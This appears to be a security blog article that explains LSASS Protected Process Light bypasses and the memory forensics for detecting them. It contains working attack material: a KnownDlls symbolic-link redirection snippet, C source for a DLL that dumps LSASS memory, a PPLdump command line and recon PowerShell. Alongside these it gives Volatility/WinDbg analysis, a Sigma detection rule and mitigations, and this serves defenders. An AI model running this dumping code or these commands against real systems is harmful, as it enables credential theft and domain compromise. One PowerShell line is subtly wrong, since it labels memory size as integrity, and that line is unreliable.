Windows LSASS: Deconstructing PPL Bypasses and Memory Dump Forensics

Md. Redwan Ahmed Md. Redwan Ahmed
·
Windows LSASS: Deconstructing PPL Bypasses and Memory Dump Forensics

Overview & Threat Landscape: Deconstructing LSASS Memory Protection & PPL Bypasses#

Windows LSASS PPL prevents user-mode dumping, but KnownDlls exploits bypass it; audit Sysmon Event 10 and enforce Credential Guard immediately.

In the architecture of the Windows NT operating system, the Local Security Authority Subsystem Service (lsass.exe) represents the core nexus of identity authentication, cryptographic key management, and security policy enforcement. Operating in user mode as an essential system daemon, LSASS hosts critical Security Support Providers (SSPs)—including Kerberos (kerberos.dll), NTLM (msv1_0.dll), Credential Manager (wdigest.dll), and the Data Protection API (dpapisrv.dll). Whenever a user or service authenticates interactively, over the network via Kerberos, or across Remote Desktop Protocol (RDP) sessions, plaintext passwords, hashed credentials (NTLM response hashes), Kerberos Ticket Granting Tickets (TGTs), and session encryption keys remain cached in the heap memory of lsass.exe to facilitate single sign-on (SSO).

For more than a decade, credential dumping tools such as Mimikatz (sekurlsa::logonpasswords) capitalized on an architectural design choice: any process possessing local administrative privileges and the SeDebugPrivilege user right could call the Win32 API OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, ...) to inspect and extract unencrypted credential artifacts directly from LSASS memory. In response to widespread credential harvesting and lateral movement, Microsoft introduced LSA Protection in Windows 8.1 and Windows Server 2012 R2. Implemented as Protected Process Light (PPL) via the registry value RunAsPPL, this mechanism enforces code signing validation on loaded dynamic-link libraries and restricts kernel handle creation so that non-protected processes—even those operating with elevated NT AUTHORITY\SYSTEM privileges—are denied read and injection access to lsass.exe.

However, the threat landscape has evolved. Adversaries and security researchers have systematically deconstructed the PPL boundary:

  1. User-Mode Object Directory Exploitation (PPLdump): Threat actors abuse the Windows Object Manager and \KnownDlls cache to trick a legitimate Windows-signed PPL executable into loading an attacker-controlled section object, bypassing driver signature enforcement (DSE) entirely without touching kernel space.
  2. Bring Your Own Vulnerable Driver (BYOVD): Attackers weaponize validly signed third-party kernel drivers (e.g., RTCore64.sys, mhyprot2.sys) to execute arbitrary read/write primitives against the kernel EPROCESS->Protection byte, silently stripping the PPL attribute (PsProtectedSignerLsa-Light) in physical memory.
  3. Minidump Web Handler & Crash Relays: Exploiting built-in administrative utilities (such as comsvcs.dll via MiniDump exports or Windows Error Reporting WerFault.exe) to generate memory core files.

For digital forensics and incident response (DFIR) specialists, understanding the exact memory forensics of LSASS access, identifying anomalies in kernel handle tables, tracing \KnownDlls cache poisoning, and analyzing crash dump artifacts in Volatility and WinDbg is critical for detecting enterprise credential compromise before domain takeover occurs.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.

MITRE ATT&CK Threat Mapping#

Deconstructing the attack chain of LSASS memory dumping against protected environments requires mapping each phase against the MITRE ATT&CK enterprise matrix:

  • T1003.001 (OS Credential Dumping: LSASS Memory): The adversary attempts to access and read the virtual address space of lsass.exe to harvest Kerberos tickets, NTLM password hashes, and DPAPI master keys.
  • T1548 (Abuse Elevation Control Mechanism): The attacker leverages elevated user privileges (SeDebugPrivilege) to manipulate object manager namespaces or register symbolic links.
  • T1055 (Process Injection): The adversary redirects executable section mapping or injects threads into a PPL runner to inherit higher process protection levels.
  • T1068 (Exploitation for Privilege Escalation): The attacker uses logical flaws in \KnownDlls resolution to execute code with PsProtectedSignerWindows-TCB rights.
WINDOWS LSASS PPL ATTACK LANDSCAPE
Target Subsystem: Protection Layer: Bypass Vector:
lsass.exe (PID ~600-800) ➔ Protected Process Light (PPL) ➔ \KnownDlls Cache Poisoning
Hosts Kerberos / NTLM / DPAPI PsProtectedSignerLsa (0x42) Object Directory Symbolic Link
Injection Vehicle: Access Primitive: Forensic Evidence:
Windows-TCB PPL Executable ➔ OpenProcess(PROCESS_VM_READ) ➔ Sysmon Event 10 (Access: 0x1010)
Loads Rogue Section Object MiniDumpWriteDump ➔ lsass.dmp Volatility windows.lsadump

Vulnerability & Attack Root-Cause Analysis: The PPL Object Model and KnownDlls Hijacking#

To comprehend how user-mode PPL bypasses function without kernel drivers, we must examine the internal implementation of Protected Process Light inside the Windows executive kernel (ntoskrnl.exe).

Windows Kernel Protected Process Light Architecture#

Inside ntoskrnl.exe, every active process is represented by an opaque kernel structure called EPROCESS. Within _EPROCESS, Microsoft maintains a dedicated 1-byte field designated PS_PROTECTION:

C 
// Windows Kernel Internal Structure: PS_PROTECTION
typedef struct _PS_PROTECTION {
    union {
        UCHAR Level;
        struct {
            UCHAR Type   : 3; // 0=None, 1=ProtectedProcess, 2=ProtectedProcessLight
            UCHAR Audit  : 1; // 1=Audit mode enabled
            UCHAR Signer : 4; // 0=None, 1=Authenticode, 2=CodeGen, 3=Antimalware,
                              // 4=Lsa, 5=Windows, 6=WinTcb, 7=WinSystem
        };
    };
} PS_PROTECTION, *PPS_PROTECTION;

When LSA Protection is enabled (RunAsPPL = 1), lsass.exe launches with:

  • Type = 2 (PsProtectedTypeProtectedLight)
  • Signer = 4 (PsProtectedSignerLsa)
  • Combined Level = 0x42 (PsProtectedSignerLsa-Light)

Whenever a process calls NtOpenProcess targeting lsass.exe, the kernel's process manager invokes PspCheckProcessAccess(). The kernel evaluates the protection level of the calling process against the target process. If the caller's Type is lower than the target or if the caller does not possess an equal or higher Signer privilege (such as PsProtectedSignerWindows-TCB or PsProtectedSignerWinSystem), the kernel strips powerful access masks:

  • PROCESS_VM_READ (0x0010) is stripped.
  • PROCESS_VM_WRITE (0x0020) is stripped.
  • PROCESS_SUSPEND_RESUME (0x0800) is stripped.
  • PROCESS_ALL_ACCESS is reduced to PROCESS_QUERY_LIMITED_INFORMATION (0x1000).

Because standard administrative tools lack PPL status, direct API calls to dump LSASS fail with STATUS_ACCESS_DENIED (0xC0000022).

Root Cause of the KnownDlls Cache Poisoning Bypass (PPLdump)#

The vulnerability that enables user-mode PPL bypasses (such as PPLdump, researched by Clément Labro) lies in the initialization sequence of the Windows dynamic loader (ntdll!LdrpInitializeProcess) and the Object Manager's handling of \KnownDlls.

What is \KnownDlls?

To optimize application startup performance and conserve physical memory, Windows maintains a specialized object directory named \KnownDlls. This directory contains pre-created kernel Section Objects (PAGE_EXECUTE_READ or PAGE_EXECUTE_WRITECOPY) for commonly loaded system libraries (e.g., kernel32.dll, user32.dll, advapi32.dll).

When an executable calls LoadLibrary():

  1. The dynamic loader calls NtOpenSection() attempting to open \KnownDlls\<DllName>.
  2. If the section object exists in \KnownDlls, the kernel immediately maps the pre-existing section into the process's virtual address space, bypassing file system disk I/O and signature verification.
  3. If the section does not exist in \KnownDlls, the loader falls back to disk resolution via NtOpenFile().

The Symbolic Link Redirection Flaw

While only the kernel can create section objects directly inside \KnownDlls, Windows allows local administrators possessing SeCreateSymbolicLinkPrivilege or SeDebugPrivilege to create symbolic links in the \RPC Control object directory using the Win32 API DefineDosDevice():

C 
// Conceptual demonstration of \KnownDlls redirection logic
// 1. Attacker creates an object directory named \KnownDlls under a controlled namespace
// 2. Defines a DOS device mapping pointing to an attacker-controlled DLL
DefineDosDevice(
    DDD_NO_AUTODUMP | DDD_RAW_TARGET_PATH,
    "GLOBALROOT\\RPC Control\\EventAggregation.dll",
    "\\??\\C:\\Temp\\malicious_ppl_helper.dll"
);

By leveraging object manager directory shadow mounting, the attacker redirects section resolution for a non-critical DLL loaded by a Windows-TCB PPL executable (such as services.exe or a diagnostic utility). When the PPL process starts, it loads the attacker's section object from the poisoned namespace.

Because the code executes inside a process possessing PsProtectedSignerWindows-TCB (Level 0x62), the attacker's thread inherits full PPL status. From this elevated context, calling OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, lsassPid) satisfies PspCheckProcessAccess(). The thread calls MiniDumpWriteDump(), writing the entire LSASS address space to disk.

Warning

While Microsoft introduced mitigations in Windows 11 22H2 and Server 2022 to restrict symbolic link creation in \RPC Control, legacy environments and unhardened enterprise endpoints remain highly susceptible to user-mode and driver-based PPL bypasses.

Exploit Architecture: Attack Flow & PPL Memory Dump Sequence#

The following sequence diagram details the end-to-end communication flow between an elevated administrative process, the Windows Object Manager, the PPL host runner, the kernel access check, and lsass.exe:

sequenceDiagram
    autonumber
    actor Attacker as Administrative Process (High Integrity)
    participant OM as Windows Object Manager (\RPC Control)
    participant Loader as PPL Runner Process (Windows-TCB)
    participant Kernel as Windows Executive Kernel (ntoskrnl.exe)
    participant LSASS as lsass.exe (PsProtectedSignerLsa-Light)
    participant Disk as File System (C:\Temp\lsass.dmp)

    Note over Attacker,OM: Phase 1: Object Directory & Symbolic Link Creation
    Attacker->>OM: DefineDosDevice("GlobalRoot\RPC Control\Target.dll" -> "\??\C:\Temp\payload.dll")
    OM-->>Attacker: Symbolic Link Registered in Object Manager

    Note over Attacker,Loader: Phase 2: Launching PPL Runner Executable
    Attacker->>Loader: Spawn legitimate Windows PPL binary
    Loader->>Kernel: Request Section Handle for Target.dll
    Kernel->>OM: Resolve Target.dll via \KnownDlls and \RPC Control
    OM-->>Kernel: Returns Attacker-Controlled Section Object
    Kernel-->>Loader: Map Attacker Section into PPL Memory Space
    Loader->>Loader: Execute Injected Payload Thread within PPL Context

    Note over Loader,LSASS: Phase 3: PPL-to-PPL Process Handle Acquisition
    Loader->>Kernel: NtOpenProcess(Target: lsass.exe, Access: 0x1010)
    Kernel->>Kernel: PspCheckProcessAccess(Caller: WinTcb-Light, Target: Lsa-Light)
    Kernel-->>Loader: ACCESS GRANTED (Handle 0x24C issued)

    Note over Loader,Disk: Phase 4: Full Memory Dump Generation
    Loader->>LSASS: Read Virtual Address Space via MiniDumpWriteDump()
    LSASS-->>Loader: Return Heap & SSP Memory Pages
    Loader->>Disk: Write Memory Stream to C:\Temp\lsass.dmp
    Disk-->>Attacker: Full LSASS Memory Dump Available for Offline Extraction

Attack Path Step-by-Step: From LSA Enumeration to Volatility Memory Extraction#

Understanding how incident responders detect and analyze LSASS dumping requires tracing each step of the offensive execution path.

Step 1: Enumerating LSA Protection State & Process Architecture#

Before executing a dump, adversaries query registry configuration and process attributes to verify whether RunAsPPL is active:

POWERSHELL 
# 1. Query LSA Protection Registry Flag
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL"

# 2. Inspect LSASS Process Protection via PowerShell
Get-Process lsass | Select-Object Id, ProcessName, @{Name="Integrity"; Expression={(Get-Process -Id $_.Id).VirtualMemorySize64}}

If RunAsPPL is set to 1 (or 2 in Windows 11 for UEFI-locked protection), raw memory dumpers like rundll32.exe comsvcs.dll, MiniDump or standard Mimikatz fail immediately with error 0x00000005: ERROR_ACCESS_DENIED.

Step 2: Preparing the KnownDlls Redirection Payload#

The attacker compiles a custom dynamic library containing an exported function or DllMain entry point that performs the memory dump:

C 
// ppl_dump_payload.cpp - Injected into PPL runner context
#include <windows.h>
#include <dbghelp.h>
#pragma comment(lib, "dbghelp.lib")

DWORD DumpLsassMemory(DWORD lsassPid, LPCWSTR dumpFilePath) {
    // Open handle with PROCESS_VM_READ and PROCESS_QUERY_LIMITED_INFORMATION
    HANDLE hLsass = OpenProcess(
        PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION,
        FALSE,
        lsassPid
    );
    
    if (hLsass == NULL) {
        return GetLastError();
    }
    
    HANDLE hFile = CreateFileW(
        dumpFilePath,
        GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    
    if (hFile != INVALID_HANDLE_VALUE) {
        // Generate MiniDump with full memory pages
        MiniDumpWriteDump(
            hLsass,
            lsassPid,
            hFile,
            MiniDumpWithFullMemory,
            NULL,
            NULL,
            NULL
        );
        CloseHandle(hFile);
    }
    
    CloseHandle(hLsass);
    return 0;
}

Step 3: Triggering PPL Execution & Memory Extraction#

Using a tool such as PPLdump, the attacker automates symbolic link definition, creates a section object, and executes the PPL runner:

BASH 
# Execute PPLdump targeting lsass.exe to output C:\Temp\lsass.dmp
C:\Tools\PPLdump.exe -v lsass.exe C:\Temp\lsass.dmp

Expected Terminal Execution Output:

CONSOLE 
[*] Operating system version: 10.0.19045
[*] LSASS PID: 672
[*] Creating \RPC Control\EventAggregation.dll symbolic link...
[*] Mapping payload section object into \KnownDlls...
[*] Spawning Windows-TCB PPL runner process...
[+] Process protection acquired: PsProtectedSignerWindows-TCB
[*] Opening handle to LSASS (PID 672)...
[+] Handle opened with access: 0x1010 (PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION)
[*] Invoking MiniDumpWriteDump()...
[+] Memory dump successfully written to: C:\Temp\lsass.dmp (Size: 84,217,856 bytes)
[*] Cleaning up object manager symbolic links...
[+] Exploit completed successfully.

Step 4: Digital Forensics & Volatility 3 Memory Extraction#

Once the forensic investigator obtains the full memory image (memory.dmp) or the extracted lsass.dmp, they leverage Volatility 3 to extract stored credentials and detect process anomalies.

1. Extracting Cached Credentials using Volatility 3

BASH 
# Run Volatility 3 lsadump plugin against host memory capture
vol -f /cases/CASE_2026_1025/memory.dmp windows.lsadump.Lsadump

Sample Volatility Output:

PLAINTEXT 
Volatility 3 Framework 2.7.0
Progress:  100.00%    PDB scanning finished
Default
  Domain: CORP.INTERNAL
  Username: Administrator
  User RID: 500
  NTLM Hash: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
  DPAPI MasterKey: 4c3e8a91b...

2. Investigating Injected Code in Memory via Malfind

BASH 
# Scan PPL processes for unmapped or executable memory pages
vol -f /cases/CASE_2026_1025/memory.dmp windows.malfind.Malfind --pid 672

3. Inspecting Process Protection in WinDbg

Using WinDbg to examine the target system's kernel state:

WINDBG 
kd> !process 0 0 lsass.exe
PROCESS ffffca81bc420080
    SessionId: 0  Cid: 02a0    Peb: 00392000  ParentCid: 01f4
    DirBase: 1a8c00002  ObjectTable: ffff8004b2014c80  HandleCount: 1420.
    Image: lsass.exe

kd> dt nt!_EPROCESS Protection ffffca81bc420080
   +0x87a Protection : _PS_PROTECTION
      +0x000 Level    : 0x42 'B'
      +0x000 Type     : 0x2 ( PsProtectedTypeProtectedLight )
      +0x000 Audit    : 0x0
      +0x000 Signer   : 0x4 ( PsProtectedSignerLsa )

Fast Cyber Defense Morning Takeaways: Forensics, Signals & Telemetry#

Defending enterprise infrastructure against LSASS credential extraction when PPL is enabled requires shifting detection strategies from simple process execution monitoring to deep kernel handle auditing and memory artifact verification.

Immediate Takeaways for Security Operations & DFIR Teams#

  1. Monitor Sysmon Event ID 10 with Specific Access Masks: Standard administrative tools rarely request 0x1010 (PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION) or 0x143a on lsass.exe. Any handle request containing PROCESS_VM_READ originating from a non-standard caller represents an immediate credential dumping attempt.
  2. Inspect CallTrace Stacks: Legitimate Windows components accessing LSASS (such as antivirus engines) possess clean, signed call stacks originating from verified modules. Bypasses like PPLdump feature unbacked memory addresses or unusual DLL sequences in the CallTrace field.
  3. Audit Object Manager Symbolic Links: Monitor for the creation of symbolic links in \RPC Control targeting system DLL names (EventAggregation.dll, wer.dll).
  4. Deploy Virtualization-Based Security (Credential Guard): PPL is a software-enforced kernel boundary. Credential Guard isolates LSA secrets in an entirely separate Virtual Trust Level (VTL 1) running under Hyper-V, rendering raw LSASS memory dumps completely incapable of exposing NTLM hashes or Kerberos tickets.

Production Detection Rule: Sigma SIEM Specification#

Deploy the following Sigma rule across centralized SIEM platforms (Splunk, Microsoft Sentinel, Elastic) to detect suspicious handle access to lsass.exe:

YAML 
title: Suspicious Process Handle Access Targeting LSASS (PPL Bypass Indicator)
id: c9e2b1f4-8a3d-4e5a-9f12-d7e8a1b3c5f6
status: production
description: |
    Detects process handle creation events targeting lsass.exe requesting memory read access
    (PROCESS_VM_READ: 0x0010, PROCESS_QUERY_LIMITED_INFORMATION: 0x1000, or composite 0x1010 / 0x143a),
    indicative of LSASS memory dumping or Protected Process Light (PPL) bypass techniques.
references:
    - https://attack.mitre.org/techniques/T1003/001/
    - https://itm4n.github.io/lsass-runasppl/

tags:
    - attack.credential_access
    - attack.t1003.001
    - attack.privilege_escalation
    - attack.t1548
logsource:
    category: process_access
    product: windows
detection:
    selection_target:
        TargetImage|endswith: '\lsass.exe'
    selection_access:
        GrantedAccess|contains:
            - '0x1010'
            - '0x1410'
            - '0x143a'
            - '0x1fffff'
    filter_legitimate_callers:
        SourceImage|endswith:
            - '\MsMpEng.exe'
            - '\csagent.exe'
            - '\CortexEDR.exe'
            - '\vmtoolsd.exe'
    condition: selection_target and selection_access and not filter_legitimate_callers
falsepositives:
    - Third-party security agents, backup software, or diagnostic profiling tools lacking proper exclusions.
level: high

Executive Takeaway Table: Threat Vectors, Detection Signals, and Primary Mitigations#

The following executive summary consolidates the core attack vectors, observable forensic signals, and recommended engineering remediations for LSASS PPL security:

Attack Vector / Technique Primary Exploitation Mechanism Telemetry & Detection Signal Recommended Mitigation Verification Command
User-Mode PPL Bypass (T1003.001) \KnownDlls cache poisoning injects code into Windows-TCB PPL runner Sysmon Event 10: GrantedAccess: 0x1010 targeting lsass.exe; anomalous CallTrace Enforce Credential Guard (VBS); apply Windows 11 / Server 2022 PPL hardening Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
BYOVD Kernel Protection Patch (T1068) Signed vulnerable driver patches EPROCESS->Protection byte to 0x00 Sysmon Event 6: Untrusted driver load; kernel memory modification without PPL flag Enable Driver Blocklist (HVCI); enforce Hypervisor-Protected Code Integrity Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity"
MiniDumpWriteDump Disk Artifacts API dumps complete virtual address space to disk file (e.g. lsass.dmp) Sysmon Event 11: File creation of .dmp files in C:\Temp or user profiles EDR behavioral block rule on .dmp creation from unapproved processes Get-ChildItem -Path C:\ -Filter *.dmp -Recurse -ErrorAction SilentlyContinue
Object Directory Redirection DefineDosDevice registers rogue link in \RPC Control targeting system DLL Security Event ID 4663: Object handle access in \RPC Control object directory Restrict SeCreateSymbolicLinkPrivilege; monitor object manager creation events Audit object access via auditpol /get /subcategory:"Object Access"
LSASS Memory Extraction (Volatility) Offline extraction of NTLM hashes, DPAPI keys, and Kerberos tickets Memory dump forensics: windows.lsadump parsing unencrypted SSP memory Enable Credential Guard to isolate secrets inside isolated LsaIso.exe container Review LsaIso.exe process presence in Task Manager / Process Explorer

Authoritative References & Standards#

  1. Microsoft Learn: Configuring Additional LSA Protection (RunAsPPL & Credential Guard Architecture) — Microsoft Technical Documentation
  2. Alex Ionescu: Protected Processes Part 3: Windows PKI Internals & Protected Process Light (PPL) — Alex Ionescu's Blog
  3. Clément Labro: Bypassing LSA Protection in Userland (PPLdump Research & KnownDlls Internals) — ITM4N Research
  4. MITRE ATT&CK Framework: Technique T1003.001: OS Credential Dumping: LSASS Memory — MITRE ATT&CK

Comments

Post a Comment

Drag or use arrow keys to pan • Click outside or press Esc to close